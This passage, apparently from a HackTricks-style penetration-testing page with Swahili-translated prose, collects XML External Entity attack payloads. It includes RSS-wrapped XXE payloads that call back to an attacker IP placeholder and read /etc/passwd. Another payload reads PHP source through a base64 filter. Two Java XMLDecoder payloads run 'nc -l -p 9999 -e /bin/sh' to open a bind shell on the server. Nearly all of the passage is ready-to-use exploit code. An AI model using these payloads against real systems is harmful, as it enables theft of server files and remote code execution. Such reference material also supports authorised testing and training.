<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Hii mabadiliko husababisha uhamasishaji wa mafaili yaliyomo, kama inavyoonyeshwa katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaonyesha shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based ili kutoa taarifa nyeti.

RSS - XEE

XML halali yenye muundo wa RSS ili kutumia udhaifu wa XXE.

Ping back

Omba rahisi la HTTP kwa seva ya washambuliaji.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Soma faili

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Soma msimbo wa chanzo

Kutumia kichujio cha PHP base64

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu kutumia data isiyo na mpangilio katika wito wa njia readObject, atapata mara moja utekelezaji wa msimbo kwenye seva.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Tools

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

References

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}